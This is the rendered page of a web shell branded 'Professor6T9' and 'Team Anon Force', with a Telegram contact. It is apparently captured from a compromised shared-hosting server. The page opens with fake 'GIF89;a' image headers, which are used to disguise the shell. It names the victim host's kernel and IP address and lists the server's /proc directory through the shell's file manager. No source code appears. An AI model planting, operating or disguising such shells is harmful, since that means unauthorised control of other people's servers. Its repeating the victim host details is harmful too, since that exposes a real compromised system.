GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux premium237.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
 LiteSpeed
 66.29.146.201
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-08-12 08:49:36
.. dir - root/root 0755 2025-08-05 08:40:42
2927171 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:07
2927791 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:07
2932183 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:07
2934015 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:07
2946543 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:14
2946573 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:14
2947098 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:14
2951799 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:14
2952176 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:14
2953392 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:15
2953888 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:20
2953890 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:21
2954050 dir - samuewbq/samuewbq 0555 2026-01-19 09:43:23
acpi dir - root/root 0555 2025-08-12 08:49:40
bus dir - root/root 0555 2025-08-12 08:49:50
driver dir - root/root 0555 2026-01-19 09:43:25
fs dir - root/root 0555 2025-08-12 08:49:50
irq dir - root/root 0555 2025-08-12 08:49:50
kcare dir - root/root 0555 2026-01-19 09:43:25
lve dir - root/root 0555 2026-01-19 09:43:25
net link - samuewbq/samuewbq 0555 2026-01-19 09:43:25
scsi dir - root/root 0555 2025-08-12 08:49:50
self link - samuewbq/samuewbq 0555 2026-01-19 09:43:14
sys dir - root/root 0555 2025-08-12 08:49:38
sysvipc dir - root/root 0555 2026-01-19 09:43:25
thread-self link - samuewbq/samuewbq 0555 2026-01-19 09:43:25
tty dir - root/root 0555 2026-01-19 09:43:25
buddyinfo 0 B root/root 0444 2026-01-19 09:43:25
cgroups 0 B root/root 0444 2026-01-19 09:43:25
cmdline text/plain 0 B root/root 0444 2026-01-19 09:43:25
consoles 0 B root/root 0444 2026-01-19 09:43:25
cpuinfo text/plain 0 B root/root 0444 2026-01-19 09:43:25
crypto 0 B root/root 0444 2026-01-19 09:43:25
devices 0 B root/root 0444 2026-01-19 09:43:25
diskstats 0 B root/root 0444 2026-01-19 09:43:25
dma 0 B root/root 0444 2026-01-19 09:43:25
execdomains 0 B root/root 0444 2026-01-19 09:43:25
fb 0 B root/root 0444 2026-01-19 09:43:25
filesystems text/plain 0 B root/root 0444 2026-01-19 09:43:24
interrupts 0 B root/root 0444 2026-01-19 09:43:25
iomem 0 B root/root 0444 2026-01-19 09:43:25
ioports 0 B root/root 0444 2026-01-19 09:43:25
kallsyms 0 B root/root 0444 2025-08-12 08:49:50
kcore 128 TB root/root 0400 2025-08-12 08:49:41
key-users 0 B root/root 0444 2026-01-19 09:43:25
keys 0 B root/root 0444 2026-01-19 09:43:25
kmsg 0 B root/root 0400 2026-01-19 09:43:25
kpagecgroup 0 B root/root 0400 2026-01-19 09:43:25
kpagecount 0 B root/root 0400 2026-01-19 09:43:25
kpageflags 0 B root/root 0400 2026-01-19 09:43:25
loadavg text/plain 0 B root/root 0444 2026-01-19 09:43:25
locks 0 B root/root 0444 2026-01-19 09:43:25
mdstat 0 B root/root 0444 2026-01-19 09:43:25
meminfo text/plain 0 B root/root 0444 2026-01-19 09:43:25
misc 0 B root/root 0444 2026-01-19 09:43:25
modules 0 B root/root 0444 2026-01-19 09:43:25
mounts text/plain 0 B samuewbq/samuewbq 0444 2026-01-19 09:43:25
mtrr 0 B root/root 0644 2025-08-12 08:49:50
pagetypeinfo 0 B root/root 0400 2026-01-19 09:43:25
partitions 0 B root/root 0444 2026-01-19 09:43:25
sched_debug 0 B root/root 0444 2026-01-19 09:43:25
schedstat 0 B root/root 0444 2026-01-19 09:43:25
slabinfo 0 B root/root 0400 2026-01-19 09:43:25
softirqs 0 B root/root 0444 2026-01-19 09:43:25
stat text/plain 0 B root/root 0444 2026-01-19 09:43:24
swaps 0 B root/root 0444 2025-08-12 08:49:38
sysrq-trigger 0 B root/root 0200 2025-08-12 08:49:50
timer_list 0 B root/root 0400 2026-01-19 09:43:25
uptime text/plain 0 B root/root 0444 2026-01-19 09:43:25
version text/plain 0 B root/root 0444 2026-01-19 09:43:25
vmallocinfo 0 B root/root 0400 2026-01-19 09:43:25
vmstat 0 B root/root 0444 2026-01-19 09:43:25
zoneinfo 0 B root/root 0444 2026-01-19 09:43:25
© Professor6T9